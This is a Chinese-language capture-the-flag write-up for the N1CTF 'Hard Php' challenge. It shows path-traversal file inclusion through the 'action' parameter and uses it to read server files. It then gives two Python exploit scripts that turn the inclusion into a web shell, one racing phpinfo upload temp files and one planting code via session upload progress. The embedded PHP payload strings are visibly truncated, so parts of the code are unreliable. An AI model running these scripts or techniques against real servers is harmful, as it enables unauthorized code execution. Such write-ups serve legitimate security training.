N1CTF Hard Php Writeup
https://github.com/wonderkun/CTF_web/tree/master/web600-1?1520941487499
爆破目录,得到:
config php~
index.php~
user.php
config.php
~文件存在源码泄露。
index.php~
1.发现有文件包含漏洞: require_once 'views/'.$_GET['action']; ,但因为有 'view/'拼接路径,无法使用php://伪协议获取源码。
2.发现路径:'views/', 查看发现:
[ ] Dockerfile 2018-03-12 14:16 355
[ ] delete 2018-03-12 12:56 245
[ ] index 2018-03-12 13:17 2.3K
[ ] login 2018-03-12 12:56 1.8K
[ ] profile 2018-03-12 12:56 1.5K
[ ] publish 2018-03-12 12:56 3.0K
[ ] register 2018-03-12 12:56 1.8K
可获取源码。Dockerfile忘记删除,可查看目标环境配置信息。
Dockerfile:
FROM andreisamuilik/php5.5.9-apache2.4-mysql5.5
ADD nu1lctf.tar.gz /app/
RUN apt-get update
RUN a2enmod rewrite
COPY sql.sql /tmp/sql.sql
COPY run.sh /run.sh
RUN mkdir /home/nu1lctf
COPY clean_danger.sh /home/nu1lctf/clean_danger.sh
RUN chmod +x /run.sh
RUN chmod 777 /tmp/sql.sql
RUN chmod 555 /home/nu1lctf/clean_danger.sh
EXPOSE 80
CMD ["/run.sh"]
通过文件包含,查看 http://192.168.1.173:8080/index.php?action=../../home/nu1lctf/clean_danger.sh
clean_danger.sh:
cd /app/adminpic/
rm *.jpg
cd /var/www/html/adminpic/
rm *
查看 '/run.sh',返回500错误。(后续getshell成功后, 仍无权限读取run.sh,不知道是否时环境问题。)
根据Dockerfile,部署目标系统的依托环境,可发现其他敏感文件路径,例如:/var/www/phpinfo/index.php,访问 http://192.168.1.173:8080/index.php?action=../../var/www/phpinfo/index.php,可得到phpinfo信息。
1.预期解:
2.phpinfo+Lfi
payload:
import os
import socket
import sys
def init(host,port):
#padding = 'sky'*2000
padding = 'sky0000000000'
payload="""sky test!');?>\r"""
request1_data ="""------WebKitFormBoundary9MWZnWxBey8mbAQ8\r
Content-Disposition: form-data; name="file"; filename="test.php"\r
Content-Type: text/php\r
\r
%s
------WebKitFormBoundary9MWZnWxBey8mbAQ8\r
Content-Disposition: form-data; name="submit"\r
\r
Submit\r
------WebKitFormBoundary9MWZnWxBey8mbAQ8--\r
""" % payload
request1 = """POST /index.php?action=../../var/www/phpinfo/index.php&a="""+padding+""" HTTP/1.1\r
Cookie: skypadding="""+padding+"""\r
Cache-Control: max-age=0\r
Upgrade-Insecure-Requests: 1\r
Origin: null\r
Accept: """ + padding + """\r
User-Agent: """+padding+"""\r
Accept-Language: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9MWZnWxBey8mbAQ8\r
Content-Length: %s\r
Host: %s:%s\r
Cookie: PHPSESSID=3pkdbhp1dje4p6acd1aav2g7u0\r
\r
%s""" %(len(request1_data),host,port,request1_data)
request2 = """GET /index.php?action=../..%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s:%s\r
Cookie: PHPSESSID=3pkdbhp1dje4p6acd1aav2g7u0\r
\r
\r
"""
return (request1,request2)
def getOffset(host,port,request1):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(request1)
d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] => ")
if i == -1:
print 'not fonud'
print "found %s at %i" % (d[i:i+10],i)
return i+256
def phpinfo_LFI(host,port,offset,request1,request2):
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.connect((host,port))
s2.connect((host,port))
s1.send(request1)
d = ""
while len(d) < offset:
d += s1.recv(offset)
try:
i = d.index("[tmp_name] => ")
fn = d[i+17:i+31]
s2.send(request2 % (fn,host,port))
tmp = s2.recv(4096)
if tmp.find("sky test!") != -1:
return fn
except ValueError:
return None
s1.close()
s2.close()
attempts = 1000
host = "192.168.1.172"
port = 8080
request1,request2 = init(host,port)
offset = getOffset(host,port,request1)
for i in range(1,attempts):
print "try:"+str(i)+"/"+str(attempts)
sys.stdout.flush()
res = phpinfo_LFI(host,port,offset,request1,request2)
if res is not None:
print 'You can getshell with /app/sky!'
break
3.Session+Lfi
session.name PHPSESSID PHPSESSID
session.referer_check no value no value
session.save_handler files files
session.save_path /var/lib/php5 /var/lib/php5
根据以上信息,可通过文件包含session文件,例如:
/var/lib/php5/sess_[PHPSESSID]。
payload:
import requests
import time
import threading
host = 'http://192.168.1.172:8080'
lfiPath ='/index.php?action=../..'
PHPSESSID = '3pkdbhp1dje4p6acd1aav2g7u0'
writablePath = '/app/sky'
sessionPath = '/var/lib/php5/'
def creatSession():
while True:
files = {
"upload" : ("tmp.jpg", open("/etc/passwd", "rb"))
}
data = {"PHP_SESSION_UPLOAD_PROGRESS" : "32p8');?>"%writablePath}
headers = {'Cookie':'PHPSESSID=' + PHPSESSID}
r = requests.post(host,files = files,headers = headers,data=data)
fileName = sessionPath+"sess_"+PHPSESSID
if __name__ == '__main__':
url = "{}{}{}".format(host,lfiPath,fileName)
headers = {'Cookie':'PHPSESSID=' + PHPSESSID}
t = threading.Thread(target=creatSession,args=())
t.setDaemon(True)
t.start()
while True:
res = requests.get(url,headers=headers)
if "32p8" in res.content:
print("[*] Get shell success.")
print(url)
break
else:
print("[-] retry.")
通过方法2、3可以成功getshell。